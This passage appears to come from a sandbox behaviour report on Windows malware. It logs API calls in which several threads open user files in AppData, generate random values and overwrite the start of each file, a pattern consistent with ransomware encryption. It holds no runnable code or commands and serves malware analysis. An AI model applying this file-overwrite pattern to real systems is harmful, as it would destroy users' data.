Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x5f24eb1c [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x3dfaa82d [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x75445338 [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x7cf5c287 [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x2426deeb [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x16af4703 [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x5215e5ba [0064.782] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x6d2955ec [0064.782] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x5a0a567d [0064.782] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x37facb9c [0064.782] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x2808cfeb [0064.782] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x71539a51 [0064.782] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x5b783962 [0064.782] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x63f7dfa8 [0064.782] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x3b51782a [0064.782] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x4428a4eb [0064.782] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x27d59f55 [0064.782] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x78d7b2e6 [0064.782] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x35d5e401 [0064.797] ReadFile (in: hFile=0x13cc, lpBuffer=0x12ecd810, nNumberOfBytesToRead=0xc55b, lpNumberOfBytesRead=0xa4ffa6c, lpOverlapped=0x0 | out: lpBuffer=0x12ecd810*, lpNumberOfBytesRead=0xa4ffa6c*=0xc55b, lpOverlapped=0x0) returned 1 [0064.800] SetFilePointerEx (in: hFile=0x13cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.800] WriteFile (hFile=0x13cc, lpBuffer=0x12eda018, nNumberOfBytesToWrite=0xc55b, lpNumberOfBytesWritten=0xa4ffa68, lpOverlapped=0x0) Thread: id = 430 os_tid = 0xda0 [0048.876] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\QK0TgMh71.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qk0tgmh71.flv")) returned 0x2020 [0048.876] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\QK0TgMh71.flv", dwFileAttributes=0x20) returned 1 [0064.745] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\QK0TgMh71.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qk0tgmh71.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13c8 [0064.745] GetFileSizeEx (in: hFile=0x13c8, lpFileSize=0xa55f760 | out: lpFileSize=0xa55f760*=51337) returned 1 [0064.745] SetFilePointerEx (in: hFile=0x13c8, liDistanceToMove=0xc885, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.745] ReadFile (in: hFile=0x13c8, lpBuffer=0xa55f6e4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa55f6e0, lpOverlapped=0x0 | out: lpBuffer=0xa55f6e4*, lpNumberOfBytesRead=0xa55f6e0*=0x4, lpOverlapped=0x0) returned 1 [0064.746] SetFilePointerEx (in: hFile=0x13c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.746] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9200 [0064.746] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9188 [0064.746] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9160 [0064.746] NtQuerySystemTime (in: CurrentTime=0xa55f6c0 | out: CurrentTime=0xa55f6c0*=132174898287324000) returned 0x0 [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x798abd6a [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0xfbbff39 [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x23e908c3 [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x50406e93 [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x2f3125a3 [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x79275bb7 [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x51cb37a5 [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x66d21bd6 [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x365e890f [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x5c21ad9c [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x7ef3913c [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x5ab095f6 [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x5b920007 [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x6d7f076c [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x3efb8d0d [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x36f5f7aa [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x1f95746b [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x45f6812 [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x413225c3 [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x51116d17 [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x71004b5e [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x14d97847 [0064.746] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x6fe2f55e [0064.747] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x453a0aa9 [0064.747] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x2098cf15 [0064.747] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x51086a4a [0064.747] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x4d966b88 [0064.747] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x29ca5402 [0064.747] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0xfa66085 [0064.747] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x1f18dd66 [0064.747] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x47ed2214 [0064.747] RtlRandomEx (in: Seed=0xa55f6cc | out: Seed=0xa55f6cc) returned 0x63312a9a [0064.759] SetFilePointerEx (in: hFile=0x13c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.759] ReadFile (in: hFile=0x13c8, lpBuffer=0x195d6058, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa55f6a0, lpOverlapped=0x0 | out: lpBuffer=0x195d6058*, lpNumberOfBytesRead=0xa55f6a0*=0xc800, lpOverlapped=0x0) returned 1 [0064.773] SetFilePointerEx (in: hFile=0x13c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c900 [0064.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5d78 [0064.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9200 [0064.773] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9200) returned 1 [0064.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12ec1008 [0064.779] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9200 [0064.779] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9160 [0064.779] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9160) returned 1 [0064.779] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5d78) returned 1 [0064.779] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c900) returned 1 [0064.779] WriteFile (hFile=0x13c8, lpBuffer=0x12ec1008, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa55f6a0, lpOverlapped=0x0) Thread: id = 431 os_tid = 0xda4 [0048.876] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\RuC 2Z.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ruc 2z.mp3")) returned 0x2020 [0048.876] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\RuC 2Z.mp3", dwFileAttributes=0x20) returned 1 [0064.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\RuC 2Z.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ruc 2z.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13c4 [0064.727] GetFileSizeEx (in: hFile=0x13c4, lpFileSize=0xa24fd10 | out: lpFileSize=0xa24fd10*=100210) returned 1 [0064.727] SetFilePointerEx (in: hFile=0x13c4, liDistanceToMove=0x1876e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.728] ReadFile (in: hFile=0x13c4, lpBuffer=0xa24fc94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa24fc90, lpOverlapped=0x0 | out: lpBuffer=0xa24fc94*, lpNumberOfBytesRead=0xa24fc90*=0x4, lpOverlapped=0x0) returned 1 [0064.728] SetFilePointerEx (in: hFile=0x13c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.728] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95f8 [0064.728] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9390 [0064.728] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9200 [0064.728] NtQuerySystemTime (in: CurrentTime=0xa24fc70 | out: CurrentTime=0xa24fc70*=132174898287168000) returned 0x0 [0064.728] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x52da9625 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x8b58ac3 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x169b4cf4 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x6466b6d8 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x678ab9d9 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x43a9038a [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x118bf6d3 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x539b1021 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0xa769c3c [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x2b0275a6 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x3e1dc006 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x721670bf [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x6baae8fd [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x220abf18 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0xe1c1ada [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x7563cd7b [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x273608ed [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x3c0a3d6d [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x101442df [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x36b85234 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x328b13b9 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x14c569c1 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x685e464d [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x4c5dcaa4 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x5ca60ba1 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x72d41d73 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x40e52b3e [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x59a4a660 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x513ee5f6 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x12867ee4 [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0x6ca8cbac [0064.729] RtlRandomEx (in: Seed=0xa24fc7c | out: Seed=0xa24fc7c) returned 0xa4c01c [0064.741] SetFilePointerEx (in: hFile=0x13c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.741] ReadFile (in: hFile=0x13c4, lpBuffer=0x195bd048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa24fc50, lpOverlapped=0x0 | out: lpBuffer=0x195bd048*, lpNumberOfBytesRead=0xa24fc50*=0xc800, lpOverlapped=0x0) returned 1 [0064.742] SetFilePointerEx (in: hFile=0x13c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c900 [0064.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5d78 [0064.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95f8 [0064.742] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95f8) returned 1 [0064.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x195c9850 [0064.744] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95f8 [0064.744] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9200 [0064.744] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9200) returned 1 [0064.744] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5d78) returned 1 [0064.744] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c900) returned 1 [0064.744] WriteFile (hFile=0x13c4, lpBuffer=0x195c9850, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa24fc50, lpOverlapped=0x0) Thread: id = 432 os_tid = 0xda8 [0048.877] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rX_Lm0da.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rx_lm0da.xls")) returned 0x2020 [0048.877] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rX_Lm0da.xls", dwFileAttributes=0x20) returned 1 [0064.710] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rX_Lm0da.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rx_lm0da.xls"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13c0 [0064.711] GetFileSizeEx (in: hFile=0x13c0, lpFileSize=0xa47fa88 | out: lpFileSize=0xa47fa88*=98750) returned 1 [0064.711] SetFilePointerEx (in: hFile=0x13c0, liDistanceToMove=0x181ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.711] ReadFile (in: hFile=0x13c0, lpBuffer=0xa47fa0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa47fa08, lpOverlapped=0x0 | out: lpBuffer=0xa47fa0c*, lpNumberOfBytesRead=0xa47fa08*=0x4, lpOverlapped=0x0) returned 1 [0064.712] SetFilePointerEx (in: hFile=0x13c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.712] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9698 [0064.712] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e94b8 [0064.712] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95f8 [0064.712] NtQuerySystemTime (in: CurrentTime=0xa47f9e8 | out: CurrentTime=0xa47f9e8*=132174898286856000) returned 0x0 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x31288c90 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x41661ae2 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x2f616138 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x18b81b31 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x377cf6d [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x1d75828f [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x1da70c31 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x6d15ed9d [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x71ac3f8d [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x1e501722 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x704c0e89 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x7783fe79 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x54754aaa [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x6cfe7d2c [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x4226bcaa [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x41480e56 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x1f322979 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x4747ae11 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x63b6c433 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x22a6024 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x72827020 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x1b9e5975 [0064.712] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x49d9dc74 [0064.713] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x444ee540 [0064.713] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x4e79153d [0064.713] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x5317f51c [0064.713] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x4d705409 [0064.713] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0xfc0bfc4 [0064.713] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x7ec76c20 [0064.713] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x500e4a2d [0064.713] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x4cc6541a [0064.713] RtlRandomEx (in: Seed=0xa47f9f4 | out: Seed=0xa47f9f4) returned 0x4a0e3c9c [0064.724] SetFilePointerEx (in: hFile=0x13c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.724] ReadFile (in: hFile=0x13c0, lpBuffer=0x195a4038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa47f9c8, lpOverlapped=0x0 | out: lpBuffer=0x195a4038*, lpNumberOfBytesRead=0xa47f9c8*=0xc800, lpOverlapped=0x0) returned 1 [0064.725] SetFilePointerEx (in: hFile=0x13c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.725] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c900 [0064.725] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5d78 [0064.725] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9698 [0064.725] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9698) returned 1 [0064.726] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x195b0840 [0064.727] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9698 [0064.727] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95f8 [0064.727] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95f8) returned 1 [0064.727] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5d78) returned 1 [0064.727] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c900) returned 1 [0064.727] WriteFile (hFile=0x13c0, lpBuffer=0x195b0840, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa47f9c8, lpOverlapped=0x0) Thread: id = 433 os_tid = 0xdac [0048.877] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SMIiUkX.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\smiiukx.gif")) returned 0x2020 [0048.877] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SMIiUkX.gif", dwFileAttributes=0x20) returned 1 [0065.030] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SMIiUkX.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\smiiukx.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1408 [0065.030] GetFileSizeEx (in: hFile=0x1408, lpFileSize=0xa78fea8 | out: lpFileSize=0xa78fea8*=93904) returned 1 [0065.030] SetFilePointerEx (in: hFile=0x1408, liDistanceToMove=0x16ecc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.030] ReadFile (in: hFile=0x1408, lpBuffer=0xa78fe2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa78fe28, lpOverlapped=0x0 | out: lpBuffer=0xa78fe2c*, lpNumberOfBytesRead=0xa78fe28*=0x4, lpOverlapped=0x0) returned 1 [0065.031] SetFilePointerEx (in: hFile=0x1408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.031] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436228 [0065.031] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435ee0 [0065.031] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.031] NtQuerySystemTime (in: CurrentTime=0xa78fe08 | out: CurrentTime=0xa78fe08*=132174898290132000) returned 0x0 [0065.031] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x4b54988a [0065.031] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x1a778f55 [0065.031] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x33cc6d18 [0065.031] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x63dbd474 [0065.031] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x44c94546 [0065.031] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x61e06802 [0065.031] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x1f2d923e [0065.031] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x682cf330 [0065.031] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x7c0972bf [0065.031] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x9caf62e [0065.031] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x6841ec43 [0065.031] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x3587f4b7 [0065.031] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x2d8943d1 [0065.031] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x258c5ba9 [0065.032] 